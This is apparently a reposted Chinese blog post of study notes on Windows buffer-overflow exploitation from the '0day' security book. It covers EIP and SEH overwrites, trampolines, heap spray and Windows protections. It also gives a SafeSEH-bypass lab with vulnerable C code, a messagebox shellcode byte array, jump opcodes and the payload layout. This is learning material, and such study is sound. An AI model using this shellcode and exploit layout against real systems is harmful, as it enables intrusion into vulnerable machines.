《ODAY安全:软件漏洞分析技术》学习心得-----shellcode的一点小小的思考
I will Make Impossible To I'm possible
-----------LittleHann
?
看了2個多星期。終于把0DAY這本書給看完了,自己動手將書上的實驗一個一個實現(xiàn)的感覺很不錯,在學(xué)習(xí)的過程中,也增加了自己的信心。
這里希望做一個小小的總結(jié),不是想說明自己有多牛逼,只是覺得學(xué)習(xí)應(yīng)該是一個常思考,??偨Y(jié)的過程,分享一些學(xué)習(xí)overflow shellcode的學(xué)習(xí)新的。希望大神路過不要嘲笑我,因為每個人都是這么過來的,如果有幸能看別人有所收獲,那就太好了,一下全是自己的思考和看法,難免有偏頗,希望不吝指正。
1. 關(guān)于overflow
對于緩沖區(qū)溢出的原理和實現(xiàn),看雪上有很多帖子,我就不過多賣弄了。我就說說自己的理解:
1.1 首先,要理解的問題的關(guān)鍵在CPU的執(zhí)行機(jī)制,無論何時,CPU總是機(jī)械的根據(jù)EIP指向的地址去執(zhí)行(系統(tǒng)中有3類總寫,指令總線,地址總線,數(shù)據(jù)總線)。即CPU總是依據(jù)EIP指向的地址去執(zhí)行下一條指令。也就是說如果我們能控制了EIP,就可以控制CPU,那什么時候我們能控制EIP呢,應(yīng)該就是在函數(shù)結(jié)束的時候
ret這條指令會執(zhí)行 pop eip jmp eip
如果我們通過傳入超長字符串覆蓋了EIP的這段棧空間,也就是控制了EIP,那CPU下一步就可以執(zhí)行我們的shellcode了。
這張圖是一般的程序的??臻g,我們能控制的變量一般是在局部變量那個位置,我們溢出攻擊的時候一般先用90等junk填充,然后計算出buf的起止位置和到EIP的offset。然后布置shellcode。
?
1.2 覆蓋SEH指針
我們都知道SEH機(jī)制是windows為了解決程序出錯時提供一次補(bǔ)救的機(jī)會。
發(fā)生異常時系統(tǒng)的處理順序(by Jeremy Gordon):
??? 1.系統(tǒng)首先判斷異常是否應(yīng)發(fā)送給目標(biāo)程序的異常處理例程,如果決定應(yīng)該發(fā)送,并且目標(biāo)程序正在被調(diào)試,則系統(tǒng)
??? 掛起程序并向調(diào)試器發(fā)送EXCEPTION_DEBUG_EVENT消息.呵呵,這不是正好可以用來探測調(diào)試器的存在嗎?
??? 2.如果你的程序沒有被調(diào)試或者調(diào)試器未能處理異常,系統(tǒng)就會繼續(xù)查找你是否安裝了線程相關(guān)的異常處理例程,如果
??? 你安裝了線程相關(guān)的異常處理例程,系統(tǒng)就把異常發(fā)送給你的程序seh處理例程,交由其處理.
??? 3.每個線程相關(guān)的異常處理例程可以處理或者不處理這個異常,如果他不處理并且安裝了多個線程相關(guān)的異常處理例程,
??????? 可交由鏈起來的其他例程處理.
??? 4.如果這些例程均選擇不處理異常,如果程序處于被調(diào)試狀態(tài),操作系統(tǒng)仍會再次掛起程序通知debugger.
??? 5.如果程序未處于被調(diào)試狀態(tài)或者debugger沒有能夠處理,并且你調(diào)用SetUnhandledExceptionFilter安裝了最后異
??? 常處理例程的話,系統(tǒng)轉(zhuǎn)向?qū)λ恼{(diào)用.
??? 6.如果你沒有安裝最后異常處理例程或者他沒有處理這個異常,系統(tǒng)會調(diào)用默認(rèn)的系統(tǒng)處理程序,通常顯示一個對話框,
??? 你可以選擇關(guān)閉或者最后將其附加到調(diào)試器上的調(diào)試按鈕.如果沒有調(diào)試器能被附加于其上或者調(diào)試器也處理不了,系統(tǒng)
??? 就調(diào)用ExitProcess終結(jié)程序.
??? 7.不過在終結(jié)之前,系統(tǒng)仍然對發(fā)生異常的線程異常處理句柄來一次展開,這是線程異常處理例程最后清理的機(jī)會.
再回過頭來看我們上面那張圖,發(fā)現(xiàn)SEH也注冊在棧中,棧作為函數(shù)間調(diào)用的一種處理調(diào)度機(jī)制,如果我們控制棧中的內(nèi)容,不久可以控制SEH的調(diào)度了嗎?進(jìn)而人工出發(fā)出故障,使SEH處理流程轉(zhuǎn)入我們的shellcode。
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
?????? struct _EXCEPTION_REGISTRATION_RECORD *Next;
?????? PEXCEPTION_ROUTINE Handler;
?? ?
} EXCEPTION_REGISTRATION_RECORD;
下面是我在學(xué)習(xí)SEH的關(guān)于故障的一些學(xué)習(xí)筆記:
異常的類型:
異常ECF可以分為四類:中斷(interrupt)、陷阱(trap)、故障(fault)和終止(abort)
1. 中斷:
中斷是異步發(fā)生的,是來自處理器外部的I/O設(shè)備的信號的結(jié)果。硬件中斷不是由任何一條專門的指令造成的,從這個意義上來說它是異步的。硬件中斷的異常處理程序通常稱為“中斷處理程序(interrpt handler)”。
在當(dāng)前指令完成執(zhí)行之后,處理器注意到中斷引腳的電壓變高了,就從系統(tǒng)總線讀取異常號,然后調(diào)用適當(dāng)?shù)闹袛嗵幚沓绦?。?dāng)處理程序返回時,它就將控制返回給下一條指令,結(jié)果程序繼續(xù)執(zhí)行,就好行沒有發(fā)生過中斷一樣。從某種程序上來說,中斷(或者叫硬件中斷)是一種正常行為,因為I/O是很正常的。
2. 陷阱
陷阱是有意的異常,是執(zhí)行一條指令的結(jié)果。陷阱程序處理完畢后,將控制返回到下一條指令。
陷阱最重要的用途是在用戶程序和內(nèi)核之間提供一個像過程一樣的接口,叫“系統(tǒng)調(diào)用”。
ntdll.dll就是使用陷阱機(jī)制從user mode穿越到kernel mode。
3. 故障
故障由錯誤情況引起,它可能能夠被故障處理程序修正。當(dāng)故障發(fā)生時,處理器將控制轉(zhuǎn)移給故障處理程序。如果處理程序能夠修正這個錯誤情況,它就將控制返回到引起故障的指令,從而重新執(zhí)行它。
故障包括:缺頁異常,當(dāng)指令引用一個虛擬地址,而與該地址相對應(yīng)的物理頁面不在存儲器中,因此必須從磁盤中取出時,就會發(fā)生缺頁異常。缺頁處理程序從下級緩存加載適當(dāng)?shù)捻撁?#xff0c;然后將控制返回給引起故障的指令,當(dāng)指令再次執(zhí)行時,相應(yīng)的物理頁面已經(jīng)駐留在存儲器中了,指令就可以沒有故障地運(yùn)行完成了。除0異常也算一種故障。
4. 終止
終止是不可恢復(fù)的致命錯誤造成的結(jié)果,通常是一些硬件錯誤(這里要和硬件中斷區(qū)分開,硬件中斷是一種CPU機(jī)制,是正常的)
,而硬件錯誤比如DRAM,SRAM位被損壞時發(fā)生的奇偶錯誤。終止處理程序從不將控制返回給應(yīng)用程序。處理程序?qū)⒖刂品祷亟oabort例程,該例程會終止這個應(yīng)用程序。
也就是說,我們要做的就是覆蓋這個PEXCEPTION_ROUTINE Handler,然后觸發(fā)一個故障,讓程序轉(zhuǎn)入我們的shellcode執(zhí)行,當(dāng)然,這里還要考慮到SafeSEH和SEHOP機(jī)制
這本書 A_Crash_Course_on_the_Depths_of_Win32_Structured_Exception_Handling 講SEH相當(dāng)不錯,深入淺出。
http://pan.baidu.com/share/link?shareid=2499703652&uk=2248499941
?
1.3 其他利用方式
我目前接觸的就主要是EIP和SEH利用方式了。
其他方面的有多用在瀏覽器上的Heap Spray技術(shù):
利用js或其他腳本申請到大量和內(nèi)存塊:(90.................................90 + shellcode)...................(90.................................90 + shellcode)
采取這種地毯式的覆蓋技術(shù),使0x0C0C0C0C落在90的概率達(dá)到很高的概率,然后slide過90nop,執(zhí)行shellcode。
還有就是覆蓋虛函數(shù)指針的方法,我感覺這也是一種二次間接尋址利用類型的方法,而且條件比較苛刻,前提是程序中要使用虛函數(shù)。
?
2. 跳板技術(shù)的理解
關(guān)于一些跳板指令的使用和原理,也很有意思。剛開始的時候,確實感覺有些難以理解
2.1 jmp/call esp
咋看一下,這個指令本身沒啥特別,但是放到它的利用場景就有大用處了。這個最普遍的利用場景是放在EIP的位置。根據(jù)堆棧平衡原理,函數(shù)在執(zhí)行完之后,ESP應(yīng)該降低到和EBP的位置,然后執(zhí)行ret。
也就是說這個時候esp指向的位置一定為EIP下面一個位置,這是一種相對定位,也是跳板利用的思想。不管棧幀怎么移動,這種相對順序是不會變的。我們可以利用這種特性把shellcode放置在jmp esp后面
9090....................90 + jmp esp + shellcode
2.2 相對跳板
有的時候我們用跳板跳進(jìn)的shellcode中還含有之前在地址覆蓋的時候需要的一些參數(shù)信息,這些地址在CPU執(zhí)行的時候會造成不可預(yù)知的指令執(zhí)行結(jié)果。
這個時候有兩種思路:
1. 用相反的指令去抵消它
2. 用相對跳轉(zhuǎn)指令跳過這段干擾指令
?
3. shellcode中調(diào)用函數(shù)
比如在繞過DEP的時候要調(diào)用VirtualAlloc函數(shù)來申請一段有可執(zhí)行權(quán)限的內(nèi)存空間,讓shellcode在里面執(zhí)行。
這里有個理解上的問題是怎么布置棧幀,我們要從匯編和函數(shù)調(diào)用的本質(zhì)上理解。
函數(shù)調(diào)用說白了就是push params call。之后在子函數(shù)中就可以通過[EBP + 4N]來引用參數(shù)了。所以我們只要能布置好下面的??臻g,就可以調(diào)用函數(shù)
param1
param2
..
paramN
call func
這種方法用在ret2libc(也叫rop chain)方法中比較多。
?
4. windows的各種安全機(jī)制
從win2000到win7,windows的安全機(jī)制不斷再提供,各種安全機(jī)制很多,要熟悉記住這些安全機(jī)制的對應(yīng)的版本很重要。這樣才能在不同的場景中考慮到所有的例外情況。
下面是根據(jù)ODAY做的一個總結(jié):
windows2000:基本沒有什么安全機(jī)制,是很好的實驗靶機(jī)
XP:GS(安全cookie) + 變量重排(在編譯時將字符串變量移動到高地址,防止字符串溢出破壞其他的局部變量)? + SafeSEH(SEH句柄驗證) + 堆保護(hù)(安全拆卸,Heap Cookie) + DEP(NX支持) + ASLR(僅對PEB,TEB進(jìn)行隨機(jī)化)
windows2003:GS(安全cookie) + 變量重排(在編譯時將字符串變量移動到高地址,防止字符串溢出破壞其他的局部變量)? + SafeSEH(SEH句柄驗證) + 堆保護(hù)(安全拆卸,Heap Cookie) + DEP(NX支持) + ASLR(僅對PEB,TEB進(jìn)行隨機(jī)化)
windows vista:GS(安全cookie) + 變量重排(在編譯時將字符串變量移動到高地址,防止字符串溢出破壞其他的局部變量)? + SafeSEH(SEH句柄驗證) + 堆保護(hù)(安全拆卸,Heap Cookie,安全快表,元數(shù)據(jù)加密i) + DEP(NX支持,永久DEP,默認(rèn)OptOut) + ASLR(PEB,TEB隨機(jī)化,堆,棧隨機(jī)化,映像加載基址隨機(jī)化)
windows 7:GS(安全cookie) + 變量重排(在編譯時將字符串變量移動到高地址,防止字符串溢出破壞其他的局部變量)? + SafeSEH(SEH句柄驗證) + 堆保護(hù)(安全拆卸,Heap Cookie,安全快表,元數(shù)據(jù)加密i) + DEP(NX支持,永久DEP,默認(rèn)OptOut) + ASLR(PEB,TEB隨機(jī)化,堆,棧隨機(jī)化,映像加載基址隨機(jī)化)
?
以上就是我自己的一些學(xué)習(xí)心得和總結(jié),下面通過一個實驗,詳細(xì)的了解一些shellcode溢出的攻擊過程。
1. 攻擊目標(biāo)
繞過SafeSEH:
通過這張圖,我們可以看到。要繞過SafeSEH有三種方法(實際上算上堆溢出有四種)。
1. 異常處理函數(shù)位于加載模塊(指當(dāng)前進(jìn)程和dll模塊)內(nèi)存范圍之外,DEP關(guān)閉
2. 異常處理函數(shù)位于加載模塊內(nèi)存范圍之內(nèi),對應(yīng)模塊未啟動未啟用SafeSEH(安全SEH表為空),同時相應(yīng)模塊不是純IL
3. 異常處理函數(shù)位于加載模塊內(nèi)存范圍之內(nèi),相應(yīng)模塊啟用SafeSEH,異常處理函數(shù)地址包含在安全SEH表中
4. SEH中的異常處理指針指向堆區(qū),即使安全校檢發(fā)現(xiàn)了SEH不可信,仍然會調(diào)用其已經(jīng)被修改過的異常處理函數(shù)。
實驗的方法:利用加載模塊之外的地址繞過SafeSEH
環(huán)境: windows XP 3(關(guān)閉DEP)? Visual Studio 2008??? 編譯禁用優(yōu)化?? release版本
?
DEMO code:
#include <windows.h>
#include <string.h>
#include <stdio.h>
char shellcode[]=
?? ?"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
?? ?"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
?? ?"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
?? ?"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
?? ?"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
?? ?"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
?? ?"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
?? ?"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
?? ?"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
?? ?"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
?? ?"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
?? ?"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
?? ?"\x90\x90\x90\x90\x90\x90\x90"
;
/*
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
//"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x0B\x0B\x29\x00";//address of jmp code
*/
DWORD MyExceptionhandler(void)
{
?? ?printf("There is an exception\n");
?? ?getchar();
?? ?return 1;
}
void test(char * input)
{
?? ?char buf[200];
?? ?int zero=0;
?? ?strcpy(buf,input); //overrun the stack
?? ?//__asm int 3; //used to break process for debug
?? ?__try
?? ?{ ?
?? ??? ?zero=1/zero; //generate an exception?? ?
?? ?}
?? ?__except(MyExceptionhandler()){}?? ?
}
int main()
{
?? ?test(shellcode);?? ?
?? ?return 0;
}
?我們用90填充199個,以為字符串會自動加上一個\x00,所以剛好200個。
設(shè)下斷點(diǎn),OD之后。用SafeSEH插件,查看。
所有的模塊都開啟了SafeSEH,所以我們只能從加載模塊之外尋找跳板指令。
用OllyFindAddr插件尋找 call/jmp dword prt [ebp+N]。
尋找的的是:? call [ebp+0x30] :0x00280b0b
因為地址中包含著00,會被strcoy當(dāng)成截斷符。所以我們不能把shellcode布置在跳板地址后面,只能不知在前面。這也就引出了接下來要介紹的2次跳板技術(shù)。
我們通過2字節(jié)的相對跳轉(zhuǎn)指令EBXX回跳一定的字節(jié),再在那個位置放置一個長跳轉(zhuǎn)指令,最終跳到shellcode起始的位置
通過查看buf到SEH之間的距離,布置shellcode進(jìn)行探測。90...90(220) + call [ebp + 0x30]地址。除0后跳到我們指定的異常處理函數(shù)處。
這里也是最神奇的地方。我們把EBP + 0x30發(fā)現(xiàn)它的地址就是SEH NEXT的位置。
這里我是這么理解的,因為SEH chain可以理解是一個連續(xù)處理的函數(shù)過程,如果上一個SEH Handler不能處理這個異常。
返回ExceptionContinueSearch 表示:“我沒有處理此異常,請你繼續(xù)搜索其他的解決方案,抱歉”。
那系統(tǒng)就要繼續(xù)順著鏈繼續(xù)尋找下一個可以處理的SEH Handler,這本質(zhì)上就是一個函數(shù)棧幀切換的過程,所以EBP記錄著下一個SEH的地址也不奇怪了。我目前只能理解這么多了,詳細(xì)的也想不明白,如果有大神知道的話不吝賜教。
所以,我們在SEH NEXT的位置放置一個短跳轉(zhuǎn)的機(jī)器碼:0XEBF6 向后回跳10個字節(jié)(因為jmp指令在采用相對地址跳轉(zhuǎn)的時候是以jmp下一條指令的地址為基準(zhǔn)的,而jmp本身2個字節(jié),所以在回跳的時候要將短跳轉(zhuǎn)的指令的2字節(jié)算進(jìn)去),接著再在前面8字節(jié)的位置放置長跳轉(zhuǎn)指令:0xE92BFFFFFF 回跳213個字節(jié)(算進(jìn)長跳轉(zhuǎn)的長度)
總結(jié)一下:shellcode
shellcode(208 bytes) + 長跳轉(zhuǎn)(8 bytes) + 短跳轉(zhuǎn)(4 bytes) + 跳板指令(4 bytes)。空的地方用90補(bǔ)足。
調(diào)試后如下:
F8運(yùn)行后,一切正常,控制流來到了我們的shellcode的起始位置,現(xiàn)在把90替換成我們的執(zhí)行shellcode就可以了。
這里用failwest的彈框的shellcode,一路下來,和它的感情太深了...
如果換成別的bindshell就可以實現(xiàn)獲得shell的功能。
實驗中可能??臻g的地址會變換,但是也能工作良好,這就充分體現(xiàn)了跳板的強(qiáng)大之處。
做的時候發(fā)現(xiàn)在OD調(diào)試一步一步的可以彈出框,如果直接雙擊程序,就什么都沒出來。我的理解應(yīng)該是OD中開啟了特殊模式,導(dǎo)致那段棧空間可以執(zhí)行,而在普通情況下,由于DEP的關(guān)系,導(dǎo)致執(zhí)行失敗。
也就是說,最好的方法用繞DEP的方法去做這個實驗。DEP以及更高深的問題準(zhǔn)備留待以后下一進(jìn)階階段再開始學(xué)習(xí)。這段時間的緩沖區(qū)就到這里了。接下來的一段時間準(zhǔn)備專心研究內(nèi)核方面的知識,剛好也把ODAY上那一章講內(nèi)核漏洞的一并閱讀了。
?
還有就是希望后天的ISCC決賽面試能順利,一定要加油進(jìn)綠盟。到北京去和那些大神比比看。
希望以后也能一直保持這個習(xí)慣,常總結(jié),常思考。繼續(xù)潛心研究一些東西。不斷進(jìn)步吧,小白的一點(diǎn)感想,希望大神不要見笑
轉(zhuǎn)載于:https://www.cnblogs.com/LittleHann/p/3177829.html
總結(jié)
以上是生活随笔為你收集整理的《ODAY安全:软件漏洞分析技术》学习心得-----shellcode的一点小小的思考的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 如何设置SecureCRT通过代理连接S
- 下一篇: Normal Vector Using